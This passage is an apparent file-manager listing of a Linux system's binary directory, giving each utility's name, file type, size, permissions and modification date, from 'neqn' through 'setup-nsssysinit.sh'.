2024-04-08 10:02:46
neqn
text/x-shellscript
908 B
-rwxr-xr-x
2019-10-13 02:29:37
net-snmp-create-v3-user
text/x-shellscript
3.15 KB
-rwxr-xr-x
2025-10-07 09:19:20
netcat
application/x-sharedlib
49.27 KB
-rwxr-xr-x
2025-01-05 11:13:17
netstat
application/x-sharedlib
158.68 KB
-rwxr-xr-x
2020-08-30 05:47:39
newgidmap
application/x-sharedlib
47.8 KB
-rwxr-xr-x
2024-04-06 02:00:13
newgrp
application/x-sharedlib
42.45 KB
-rwsr-xr-x
2024-04-06 02:00:13
newuidmap
application/x-sharedlib
47.76 KB
-rwxr-xr-x
2024-04-06 02:00:13
nf-ct-add
application/x-sharedlib
16.46 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-ct-events
application/x-sharedlib
12.38 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-ct-list
application/x-sharedlib
16.49 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-exp-add
application/x-sharedlib
16.87 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-exp-delete
application/x-sharedlib
16.66 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-exp-list
application/x-sharedlib
16.49 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-log
application/x-sharedlib
12.35 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-monitor
application/x-sharedlib
12.36 KB
-rwxr-xr-x
2022-10-08 11:39:40
nf-queue
application/x-sharedlib
16.35 KB
-rwxr-xr-x
2022-10-08 11:39:41
ngettext
application/x-sharedlib
48.97 KB
-rwxr-xr-x
2019-11-18 05:17:29
nice
application/x-sharedlib
37.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
nisdomainname
application/x-sharedlib
21.16 KB
-rwxr-xr-x
2019-10-11 01:06:51
nl
application/x-sharedlib
45.63 KB
-rwxr-xr-x
2023-04-01 08:44:39
nl-addr-add
application/x-sharedlib
12.34 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-addr-delete
application/x-sharedlib
16.77 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-addr-list
application/x-sharedlib
16.88 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-class-add
application/x-sharedlib
16.73 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-class-delete
application/x-sharedlib
12.63 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-class-list
application/x-sharedlib
12.59 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-classid-lookup
application/x-sharedlib
12.47 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-cls-add
application/x-sharedlib
16.77 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-cls-delete
application/x-sharedlib
16.77 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-cls-list
application/x-sharedlib
12.73 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-fib-lookup
application/x-sharedlib
12.5 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-enslave
application/x-sharedlib
11.87 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-ifindex2name
application/x-sharedlib
11.87 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-list
application/x-sharedlib
12.23 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-name2ifindex
application/x-sharedlib
11.86 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-release
application/x-sharedlib
11.86 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-set
application/x-sharedlib
12.77 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-stats
application/x-sharedlib
12.59 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-list-caches
application/x-sharedlib
12.27 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-list-sockets
application/x-sharedlib
11.87 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-monitor
application/x-sharedlib
12.52 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-neigh-add
application/x-sharedlib
12.63 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-neigh-delete
application/x-sharedlib
12.66 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-neigh-list
application/x-sharedlib
12.19 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-neightbl-list
application/x-sharedlib
12.01 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-pktloc-lookup
application/x-sharedlib
12.56 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-qdisc-add
application/x-sharedlib
12.65 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-qdisc-delete
application/x-sharedlib
12.63 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-qdisc-list
application/x-sharedlib
16.74 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-route-add
application/x-sharedlib
16.39 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-route-delete
application/x-sharedlib
16.88 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-route-get
application/x-sharedlib
12.35 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-route-list
application/x-sharedlib
16.44 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-rule-list
application/x-sharedlib
12.05 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-tctree-list
application/x-sharedlib
12.66 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-util-addr
application/x-sharedlib
11.85 KB
-rwxr-xr-x
2022-10-08 11:39:41
nm
application/x-sharedlib
50.38 KB
-rwxr-xr-x
2025-10-07 06:44:04
nm-online
application/x-sharedlib
20.84 KB
-rwxr-xr-x
2025-08-26 09:47:31
nmcli
application/x-sharedlib
1009 KB
-rwxr-xr-x
2025-08-26 09:47:31
nmtui
application/x-sharedlib
784.12 KB
-rwxr-xr-x
2025-08-26 09:47:31
nmtui-connect
application/x-sharedlib
784.12 KB
-rwxr-xr-x
2025-08-26 09:47:31
nmtui-edit
application/x-sharedlib
784.12 KB
-rwxr-xr-x
2025-08-26 09:47:31
nmtui-hostname
application/x-sharedlib
784.12 KB
-rwxr-xr-x
2025-08-26 09:47:31
nohup
application/x-sharedlib
37.48 KB
-rwxr-xr-x
2023-04-01 08:44:39
nop
application/x-sharedlib
12.5 KB
-rwxr-xr-x
2024-04-06 12:47:15
nproc
application/x-sharedlib
37.48 KB
-rwxr-xr-x
2023-04-01 08:44:39
nroff
text/x-shellscript
3.23 KB
-rwxr-xr-x
2019-10-13 02:29:39
nsenter
application/x-sharedlib
33.3 KB
-rwxr-xr-x
2024-04-06 01:02:53
nslookup
application/x-sharedlib
146.26 KB
-rwxr-xr-x
2025-02-20 09:05:41
nss-policy-check
application/x-sharedlib
16.3 KB
-rwxr-xr-x
2025-09-09 01:57:07
nsupdate
application/x-sharedlib
73.05 KB
-rwxr-xr-x
2025-02-20 09:05:41
numfmt
application/x-sharedlib
65.71 KB
-rwxr-xr-x
2023-04-01 08:44:39
objcopy
application/x-sharedlib
240.07 KB
-rwxr-xr-x
2025-10-07 06:44:04
objdump
application/x-sharedlib
419.76 KB
-rwxr-xr-x
2025-10-07 06:44:04
od
application/x-sharedlib
73.88 KB
-rwxr-xr-x
2023-04-01 08:44:39
odbc_config
application/x-sharedlib
13.05 KB
-rwxr-xr-x
2019-10-14 09:51:19
odbcinst
application/x-sharedlib
37.68 KB
-rwxr-xr-x
2019-10-14 09:51:19
open
application/x-sharedlib
20.97 KB
-rwxr-xr-x
2023-10-14 09:01:01
openssl
application/x-sharedlib
745.95 KB
-rwxr-xr-x
2024-10-09 01:39:36
openvt
application/x-sharedlib
20.97 KB
-rwxr-xr-x
2023-10-14 09:01:01
os-prober
text/x-shellscript
5.78 KB
-rwxr-xr-x
2021-10-09 02:56:52
osage
application/x-sharedlib
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
p11-kit
application/x-sharedlib
37.15 KB
-rwxr-xr-x
2024-04-06 02:16:19
package-cleanup
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
page_owner_sort
application/x-sharedlib
11.34 KB
-rwxr-xr-x
2025-10-20 08:13:35
pango-list
application/x-sharedlib
11.88 KB
-rwxr-xr-x
2021-10-08 03:22:06
pango-view
application/x-sharedlib
57.44 KB
-rwxr-xr-x
2021-10-08 03:22:06
paperconf
application/x-sharedlib
13.07 KB
-rwxr-xr-x
2019-10-12 08:09:13
passwd
application/x-sharedlib
32.77 KB
-rwsr-xr-x
2022-04-18 10:59:33
paste
application/x-sharedlib
37.46 KB
-rwxr-xr-x
2023-04-01 08:44:39
patch
application/x-sharedlib
206.46 KB
-rwxr-xr-x
2020-06-01 03:14:25
patchwork
application/x-sharedlib
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
pathchk
application/x-sharedlib
37.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
pathfix.py
text/plain
6.63 KB
-rwxr-xr-x
2025-08-26 08:58:55
pcre-config
text/x-shellscript
2.09 KB
-rwxr-xr-x
2021-10-08 07:17:42
pcre2-config
text/x-shellscript
1.9 KB
-rwxr-xr-x
2022-08-02 04:07:28
pdf2dsc
text/x-shellscript
698 B
-rwxr-xr-x
2025-06-03 02:48:11
pdf2ps
text/x-shellscript
909 B
-rwxr-xr-x
2025-06-03 02:48:11
peekfd
application/x-sharedlib
16.51 KB
-rwxr-xr-x
2020-11-06 02:24:16
perl
application/x-sharedlib
12.43 KB
-rwxr-xr-x
2025-07-28 08:07:20
perl5.26.3
application/x-sharedlib
12.43 KB
-rwxr-xr-x
2025-07-28 08:07:20
perlbug
text/x-perl
44.39 KB
-rwxr-xr-x
2025-07-28 08:08:32
perldoc
text/x-perl
118 B
-rwxr-xr-x
2019-10-13 11:53:57
perlivp
text/x-perl
10.56 KB
-rwxr-xr-x
2025-07-28 08:07:09
perlml
application/x-executable
6.86 KB
-rwxr-xr-x
2022-08-10 08:54:28
perlthanks
text/x-perl
44.39 KB
-rwxr-xr-x
2025-07-28 08:08:32
perror
application/x-sharedlib
3.75 MB
-rwxr-xr-x
2025-07-28 05:16:24
pflags
text/x-python
2.57 KB
-rwxr-xr-x
2024-04-06 01:32:49
pftp
application/x-sharedlib
101.2 KB
-rwxr-xr-x
2019-10-12 12:59:55
pg_basebackup
application/x-sharedlib
123.48 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_config
application/x-sharedlib
45.35 KB
-rwxr-xr-x
2025-02-20 07:58:19
pg_controldata
application/x-sharedlib
41.22 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_ctl
application/x-sharedlib
53.78 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_dump
application/x-sharedlib
399.43 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_dumpall
application/x-sharedlib
107.11 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_isready
application/x-sharedlib
65.92 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_receivewal
application/x-sharedlib
70.56 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_recvlogical
application/x-sharedlib
74.73 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_resetwal
application/x-sharedlib
49.29 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_restore
application/x-sharedlib
173.34 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_rewind
application/x-sharedlib
86.58 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_upgrade
application/x-sharedlib
139.52 KB
-rwxr-xr-x
2024-02-27 08:25:00
pgrep
application/x-sharedlib
28.84 KB
-rwxr-xr-x
2023-10-14 08:31:02
php
text/x-perl
937 B
-rwxr-xr-x
2025-04-01 04:34:05
pic
application/x-sharedlib
293.84 KB
-rwxr-xr-x
2019-10-13 02:29:41
piconv
text/x-perl
8.08 KB
-rwxr-xr-x
2019-10-13 08:46:10
pidof
application/x-sharedlib
16.7 KB
-rwxr-xr-x
2023-10-14 08:31:02
pidstat
application/x-sharedlib
65.72 KB
-rwxr-xr-x
2024-07-03 09:57:26
pigz
application/x-sharedlib
125.38 KB
-rwxr-xr-x
2020-06-01 03:15:34
ping
application/x-sharedlib
66.13 KB
-rwxr-xr-x
2023-10-14 05:19:01
pinky
application/x-sharedlib
41.53 KB
-rwxr-xr-x
2023-04-01 08:44:39
pip-2
text/x-python
206 B
-rwxr-xr-x
2022-04-21 06:08:22
pip-2.7
text/x-python
206 B
-rwxr-xr-x
2022-04-21 06:08:22
pip-3
text/plain
209 B
-rwxr-xr-x
2024-04-06 01:40:45
pip-3.6
text/plain
209 B
-rwxr-xr-x
2024-04-06 01:40:45
pip2
text/x-python
206 B
-rwxr-xr-x
2022-04-21 06:08:22
pip2.7
text/x-python
206 B
-rwxr-xr-x
2022-04-21 06:08:22
pip3
text/plain
209 B
-rwxr-xr-x
2024-04-06 01:40:45
pip3.6
text/plain
209 B
-rwxr-xr-x
2024-04-06 01:40:45
pk12util
application/x-sharedlib
111.13 KB
-rwxr-xr-x
2025-09-09 01:57:07
pkaction
application/x-sharedlib
16.38 KB
-rwxr-xr-x
2024-05-29 12:51:40
pkcheck
application/x-sharedlib
24.43 KB
-rwxr-xr-x
2024-05-29 12:51:40
pkexec
application/x-sharedlib
28.41 KB
-rwsr-xr-x
2024-05-29 12:51:40
pkg-config
application/x-sharedlib
40.04 KB
-rwxr-xr-x
2019-10-13 06:57:31
pkgconf
application/x-sharedlib
40.04 KB
-rwxr-xr-x
2019-10-13 06:57:31
pkill
application/x-sharedlib
28.84 KB
-rwxr-xr-x
2023-10-14 08:31:02
pkla-admin-identities
application/x-sharedlib
25.72 KB
-rwxr-xr-x
2019-11-18 03:17:20
pkla-check-authorization
application/x-sharedlib
33.78 KB
-rwxr-xr-x
2019-11-18 03:17:20
pkttyagent
application/x-sharedlib
20.38 KB
-rwxr-xr-x
2024-05-29 12:51:40
pl2pm
text/x-perl
4.43 KB
-rwxr-xr-x
2025-07-28 08:08:16
pldd
application/x-sharedlib
16.75 KB
-rwxr-xr-x
2025-08-05 02:12:44
plesk_configure
text/x-shellscript
342 B
-rwxr-xr-x
2021-07-04 09:39:09
plymouth
application/x-sharedlib
45.36 KB
-rwxr-xr-x
2022-04-18 04:45:15
pmap
application/x-sharedlib
32.78 KB
-rwxr-xr-x
2023-10-14 08:31:02
png-fix-itxt
application/x-sharedlib
13.04 KB
-rwxr-xr-x
2019-10-12 12:44:13
pngfix
application/x-sharedlib
53.53 KB
-rwxr-xr-x
2019-10-12 12:44:13
pod2html
text/x-perl
4.04 KB
-rwxr-xr-x
2025-07-28 08:08:32
pod2man
text/x-perl
14.68 KB
-rwxr-xr-x
2019-10-13 02:12:32
pod2text
text/x-perl
10.55 KB
-rwxr-xr-x
2019-10-13 02:12:32
pod2usage
text/x-perl
3.86 KB
-rwxr-xr-x
2019-10-13 11:57:18
podchecker
text/x-perl
3.57 KB
-rwxr-xr-x
2019-10-13 11:46:35
podselect
text/x-perl
2.47 KB
-rwxr-xr-x
2019-10-13 11:52:55
post-grohtml
application/x-sharedlib
238.73 KB
-rwxr-xr-x
2019-10-13 02:29:41
postgres
application/x-sharedlib
7.19 MB
-rwxr-xr-x
2024-02-27 08:25:00
postgresql-setup
text/x-shellscript
25.53 KB
-rwxr-xr-x
2024-02-27 08:24:43
postgresql-upgrade
text/x-shellscript
5.95 KB
-rwxr-xr-x
2024-02-27 08:24:43
postmaster
application/x-sharedlib
7.19 MB
-rwxr-xr-x
2024-02-27 08:25:00
powernow-k8-decode
application/x-sharedlib
10.88 KB
-rwxr-xr-x
2025-10-20 08:13:35
pr
application/x-sharedlib
82.23 KB
-rwxr-xr-x
2023-04-01 08:44:39
pre-grohtml
application/x-sharedlib
130.55 KB
-rwxr-xr-x
2019-10-13 02:29:41
precat
text/x-shellscript
5.52 KB
-rwxr-xr-x
2022-04-18 03:10:50
preconv
application/x-sharedlib
57.65 KB
-rwxr-xr-x
2019-10-13 02:29:41
preunzip
text/x-shellscript
5.52 KB
-rwxr-xr-x
2022-04-18 03:10:50
prezip
text/x-shellscript
5.52 KB
-rwxr-xr-x
2022-04-18 03:10:50
prezip-bin
application/x-sharedlib
11.98 KB
-rwxr-xr-x
2022-04-18 03:10:53
printenv
application/x-sharedlib
33.4 KB
-rwxr-xr-x
2023-04-01 08:44:39
printf
application/x-sharedlib
53.64 KB
-rwxr-xr-x
2023-04-01 08:44:39
prlimit
application/x-sharedlib
37.54 KB
-rwxr-xr-x
2024-04-06 01:02:53
procan
application/x-sharedlib
82.6 KB
-rwxr-xr-x
2025-07-15 09:33:30
protoc
application/x-sharedlib
16.49 KB
-rwxr-xr-x
2025-10-07 08:37:49
protoc-c
application/x-sharedlib
244.79 KB
-rwxr-xr-x
2023-10-14 09:21:20
protoc-gen-c
application/x-sharedlib
244.79 KB
-rwxr-xr-x
2023-10-14 09:21:20
prove
text/x-perl
13.24 KB
-rwxr-xr-x
2019-10-13 12:42:34
prtstat
application/x-sharedlib
20.51 KB
-rwxr-xr-x
2020-11-06 02:24:16
prune
application/x-sharedlib
16.73 KB
-rwxr-xr-x
2024-04-06 12:47:15
ps
application/x-sharedlib
134.75 KB
-rwxr-xr-x
2023-10-14 08:31:02
ps2ascii
text/x-shellscript
631 B
-rwxr-xr-x
2025-06-03 02:48:11
ps2epsi
text/x-shellscript
2.69 KB
-rwxr-xr-x
2025-06-03 02:48:11
ps2pdf
text/x-shellscript
272 B
-rwxr-xr-x
2025-06-03 02:48:11
ps2pdf12
text/x-shellscript
215 B
-rwxr-xr-x
2025-06-03 02:48:11
ps2pdf13
text/x-shellscript
215 B
-rwxr-xr-x
2025-06-03 02:48:11
ps2pdf14
text/x-shellscript
215 B
-rwxr-xr-x
2025-06-03 02:48:11
ps2pdfwr
text/x-shellscript
1.07 KB
-rwxr-xr-x
2025-06-03 02:48:11
ps2ps
text/x-shellscript
647 B
-rwxr-xr-x
2025-06-03 02:48:11
ps2ps2
text/x-shellscript
669 B
-rwxr-xr-x
2025-06-03 02:48:11
ps_mem
text/plain
17.69 KB
-rwxr-xr-x
2022-04-18 05:28:08
psfaddtable
application/x-sharedlib
20.66 KB
-rwxr-xr-x
2023-10-14 09:01:01
psfgettable
application/x-sharedlib
20.66 KB
-rwxr-xr-x
2023-10-14 09:01:01
psfstriptable
application/x-sharedlib
20.66 KB
-rwxr-xr-x
2023-10-14 09:01:01
psfxtable
application/x-sharedlib
20.66 KB
-rwxr-xr-x
2023-10-14 09:01:01
pslog
application/x-sharedlib
12.48 KB
-rwxr-xr-x
2020-11-06 02:24:16
psql
application/x-sharedlib
644.33 KB
-rwxr-xr-x
2024-02-27 08:25:00
pstree
application/x-sharedlib
33.53 KB
-rwxr-xr-x
2020-11-06 02:24:16
pstree.x11
application/x-sharedlib
33.53 KB
-rwxr-xr-x
2020-11-06 02:24:16
ptar
text/x-perl
3.38 KB
-rwxr-xr-x
2019-10-13 07:10:48
ptardiff
text/x-perl
2.48 KB
-rwxr-xr-x
2019-10-13 07:10:48
ptargrep
text/x-perl
4.2 KB
-rwxr-xr-x
2019-10-13 07:10:48
ptx
application/x-sharedlib
78.07 KB
-rwxr-xr-x
2023-04-01 08:44:39
pure-pw
application/x-sharedlib
38.83 KB
-rwxr-xr-x
2024-10-30 12:42:11
pure-pwconvert
application/x-sharedlib
10.72 KB
-rwxr-xr-x
2024-10-30 12:42:11
pure-statsdecode
application/x-sharedlib
10.72 KB
-rwxr-xr-x
2024-10-30 12:42:11
pwd
application/x-sharedlib
37.5 KB
-rwxr-xr-x
2023-04-01 08:44:39
pwdx
application/x-sharedlib
12.68 KB
-rwxr-xr-x
2023-10-14 08:31:02
pwmake
application/x-sharedlib
12.27 KB
-rwxr-xr-x
2023-04-01 06:24:17
pwscore
application/x-sharedlib
12.27 KB
-rwxr-xr-x
2023-04-01 06:24:17
pydoc-3
text/plain
89 B
-rwxr-xr-x
2025-08-26 09:08:07
pydoc2
text/x-python
78 B
-rwxr-xr-x
2024-04-10 04:58:41
pydoc2.7
text/x-python
78 B
-rwxr-xr-x
2024-04-10 04:58:41
pydoc3
text/plain
89 B
-rwxr-xr-x
2025-08-26 09:08:07
pydoc3.6
text/plain
89 B
-rwxr-xr-x
2025-08-26 09:08:07
pygettext2.7.py
text/plain
21.56 KB
-rwxr-xr-x
2024-04-10 04:58:41
pygettext2.py
text/plain
21.56 KB
-rwxr-xr-x
2024-04-10 04:58:41
pynche2
text/x-shellscript
138 B
-rwxr-xr-x
2024-04-10 04:48:26
pynche2.7
text/x-shellscript
138 B
-rwxr-xr-x
2024-04-10 04:48:26
python-html2text
text/x-python
406 B
-rwxr-xr-x
2020-03-17 12:40:44
python2
application/x-sharedlib
7.84 KB
-rwxr-xr-x
2024-04-10 04:58:50
python2-config
text/x-python
1.8 KB
-rwxr-xr-x
2024-04-10 04:58:41
python2.7
application/x-sharedlib
7.84 KB
-rwxr-xr-x
2024-04-10 04:58:50
python2.7-config
text/x-python
1.8 KB
-rwxr-xr-x
2024-04-10 04:58:41
python3
application/x-sharedlib
11.59 KB
-rwxr-xr-x
2025-08-26 09:08:24
python3-config
text/x-shellscript
204 B
-rwxr-xr-x
2025-08-26 09:08:08
python3-html2text
text/x-python
406 B
-rwxr-xr-x
2020-03-17 12:40:44
python3.6
application/x-sharedlib
11.59 KB
-rwxr-xr-x
2025-08-26 09:08:24
python3.6-config
text/x-shellscript
204 B
-rwxr-xr-x
2025-08-26 09:08:08
python3.6m
application/x-sharedlib
11.59 KB
-rwxr-xr-x
2025-08-26 09:08:24
python3.6m-config
text/x-shellscript
204 B
-rwxr-xr-x
2025-08-26 09:08:08
python3.6m-x86_64-config
text/x-shellscript
3.54 KB
-rwxr-xr-x
2025-08-26 09:01:50
pyvenv-3
text/plain
446 B
-rwxr-xr-x
2025-08-26 09:08:07
pyvenv-3.6
text/plain
446 B
-rwxr-xr-x
2025-08-26 09:08:07
qemu-ga
application/x-sharedlib
505.49 KB
-rwxr-xr-x
2025-08-07 12:04:14
quota
application/x-sharedlib
91.49 KB
-rwsr-xr-x
2021-10-09 07:08:37
quotasync
application/x-sharedlib
74.69 KB
-rwxr-xr-x
2021-10-09 07:08:37
ranlib
application/x-sharedlib
61.97 KB
-rwxr-xr-x
2025-10-07 06:44:04
raw
application/x-sharedlib
16.49 KB
-rwxr-xr-x
2024-04-06 01:02:53
read
text/x-shellscript
28 B
-rwxr-xr-x
2025-08-26 08:48:39
readelf
application/x-sharedlib
624.54 KB
-rwxr-xr-x
2025-10-07 06:44:04
readlink
application/x-sharedlib
45.96 KB
-rwxr-xr-x
2023-04-01 08:44:39
realpath
application/x-sharedlib
50.02 KB
-rwxr-xr-x
2023-04-01 08:44:39
recode-sr-latin
application/x-sharedlib
17.99 KB
-rwxr-xr-x
2019-11-18 05:17:29
reindexdb
application/x-sharedlib
70.32 KB
-rwxr-xr-x
2024-02-27 08:25:00
rename
application/x-sharedlib
16.5 KB
-rwxr-xr-x
2024-04-06 01:02:53
renew-dummy-cert
text/x-shellscript
725 B
-rwxr-xr-x
2024-10-09 01:39:22
renice
application/x-sharedlib
16.46 KB
-rwxr-xr-x
2024-04-06 01:02:53
replace
application/x-sharedlib
3.54 MB
-rwxr-xr-x
2025-07-28 05:10:35
repo-graph
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
repoclosure
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
repodiff
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
repomanage
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
repoquery
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
reposync
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
repotrack
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
rescan-scsi-bus.sh
text/x-shellscript
38.24 KB
-rwxr-xr-x
2022-10-08 11:49:23
reset
application/x-sharedlib
24.76 KB
-rwxr-xr-x
2023-10-14 06:54:49
resizecons
application/x-sharedlib
20.77 KB
-rwxr-xr-x
2023-10-14 09:01:01
resolve_stack_dump
application/x-sharedlib
3.56 MB
-rwxr-xr-x
2025-07-28 05:16:23
resolvectl
application/x-sharedlib
195.74 KB
-rwxr-xr-x
2025-04-22 01:58:57
resolveip
application/x-sharedlib
3.56 MB
-rwxr-xr-x
2025-07-28 05:16:24
rev
application/x-sharedlib
12.45 KB
-rwxr-xr-x
2024-04-06 01:02:53
rm
application/x-sharedlib
70.47 KB
-rwxr-xr-x
2023-04-01 08:44:39
rmdir
application/x-sharedlib
45.54 KB
-rwxr-xr-x
2023-04-01 08:44:39
rnano
application/x-sharedlib
247.94 KB
-rwxr-xr-x
2024-09-24 02:16:19
rpcbind
application/x-sharedlib
61.55 KB
-rwxr-xr-x
2022-10-12 11:00:54
rpcinfo
application/x-sharedlib
32.64 KB
-rwxr-xr-x
2022-10-12 11:00:54
rpm
application/x-sharedlib
20.85 KB
-rwxr-xr-x
2024-12-17 04:11:05
rpm2archive
application/x-sharedlib
20.46 KB
-rwxr-xr-x
2024-12-17 04:11:05
rpm2cpio
application/x-sharedlib
11.84 KB
-rwxr-xr-x
2024-12-17 04:11:05
rpmdb
application/x-sharedlib
16.96 KB
-rwxr-xr-x
2024-12-17 04:11:05
rpmkeys
application/x-sharedlib
16.87 KB
-rwxr-xr-x
2024-12-17 04:11:05
rpmquery
application/x-sharedlib
20.85 KB
-rwxr-xr-x
2024-12-17 04:11:05
rpmverify
application/x-sharedlib
20.85 KB
-rwxr-xr-x
2024-12-17 04:11:05
rsync
application/x-sharedlib
510.15 KB
-rwxr-xr-x
2025-06-03 02:02:49
rsyslog-recover-qi.pl
text/x-perl
5.96 KB
-rwxr-xr-x
2024-11-05 02:34:12
run-parts
text/x-shellscript
1.94 KB
-rwxr-xr-x
2021-04-08 09:38:36
run-with-aspell
text/x-shellscript
85 B
-rwxr-xr-x
2022-04-18 03:10:50
runcon
application/x-sharedlib
37.45 KB
-rwxr-xr-x
2023-04-01 08:44:39
rvi
application/x-sharedlib
1.13 MB
-rwxr-xr-x
2025-10-12 12:23:15
rview
application/x-sharedlib
1.13 MB
-rwxr-xr-x
2025-10-12 12:23:15
rvim
application/x-sharedlib
2.93 MB
-rwxr-xr-x
2025-10-12 12:23:15
sadf
application/x-sharedlib
334.57 KB
-rwxr-xr-x
2024-07-03 09:57:26
sar
application/x-sharedlib
135.77 KB
-rwxr-xr-x
2024-07-03 09:57:26
sccmap
application/x-sharedlib
20.62 KB
-rwxr-xr-x
2024-04-06 12:47:15
scl
application/x-sharedlib
36.87 KB
-rwxr-xr-x
2023-04-01 04:10:31
scl_enabled
text/x-shellscript
258 B
-rwxr-xr-x
2017-08-25 08:23:02
scl_source
text/x-shellscript
1.82 KB
-rwxr-xr-x
2023-04-01 04:10:31
scp
application/x-sharedlib
102.84 KB
-rwxr-xr-x
2025-09-30 10:44:15
screen
application/x-sharedlib
482.46 KB
-rwxr-sr-x
2021-05-05 10:04:06
script
application/x-sharedlib
36.79 KB
-rwxr-xr-x
2024-04-06 01:02:53
scriptreplay
application/x-sharedlib
28.99 KB
-rwxr-xr-x
2024-04-06 01:02:53
scsi-rescan
text/x-shellscript
38.24 KB
-rwxr-xr-x
2022-10-08 11:49:23
scsi_logging_level
text/x-shellscript
8.38 KB
-rwxr-xr-x
2022-10-08 11:49:31
scsi_mandat
text/x-shellscript
3.52 KB
-rwxr-xr-x
2022-10-08 11:49:31
scsi_readcap
text/x-shellscript
1.3 KB
-rwxr-xr-x
2022-10-08 11:49:31
scsi_ready
text/x-shellscript
1.09 KB
-rwxr-xr-x
2022-10-08 11:49:31
scsi_satl
text/x-shellscript
3.77 KB
-rwxr-xr-x
2022-10-08 11:49:31
scsi_start
text/x-shellscript
1.25 KB
-rwxr-xr-x
2022-10-08 11:49:31
scsi_stop
text/x-shellscript
1.44 KB
-rwxr-xr-x
2022-10-08 11:49:31
scsi_temperature
text/x-shellscript
936 B
-rwxr-xr-x
2022-10-08 11:49:31
sdiff
application/x-sharedlib
105.33 KB
-rwxr-xr-x
2020-05-04 03:15:14
secon
application/x-sharedlib
25.46 KB
-rwxr-xr-x
2024-07-02 09:04:21
sed
application/x-sharedlib
115.48 KB
-rwxr-xr-x
2022-04-18 09:41:04
semodule_expand
application/x-sharedlib
12.28 KB
-rwxr-xr-x
2024-07-02 09:04:21
semodule_link
application/x-sharedlib
12.28 KB
-rwxr-xr-x
2024-07-02 09:04:21
semodule_package
application/x-sharedlib
16.68 KB
-rwxr-xr-x
2024-07-02 09:04:21
semodule_unpackage
application/x-sharedlib
12.3 KB
-rwxr-xr-x
2024-07-02 09:04:21
seq
application/x-sharedlib
53.52 KB
-rwxr-xr-x
2023-04-01 08:44:39
sessreg
application/x-sharedlib
17.38 KB
-rwxr-xr-x
2019-10-15 01:08:41
setarch
application/x-sharedlib
20.76 KB
-rwxr-xr-x
2024-04-06 01:02:53
setfacl
application/x-sharedlib
37.65 KB
-rwxr-xr-x
2024-04-06 12:15:42
setfont
application/x-sharedlib
45.19 KB
-rwxr-xr-x
2023-10-14 09:01:01
setkeycodes
application/x-sharedlib
12.56 KB
-rwxr-xr-x
2023-10-14 09:01:01
setleds
application/x-sharedlib
16.6 KB
-rwxr-xr-x
2023-10-14 09:01:01
setmetamode
application/x-sharedlib
12.56 KB
-rwxr-xr-x
2023-10-14 09:01:01
setpriv
application/x-sharedlib
45.15 KB
-rwxr-xr-x
2024-04-06 01:02:53
setsid
application/x-sharedlib
16.38 KB
-rwxr-xr-x
2024-04-06 01:02:53
setterm
application/x-sharedlib
45.12 KB
-rwxr-xr-x
2024-04-06 01:02:53
setup-nsssysinit
text/x-shellscript
1.5 KB
-rwxr-xr-x
2025-09-09 01:57:01
setup-nsssysinit.sh
text/x-shellscript
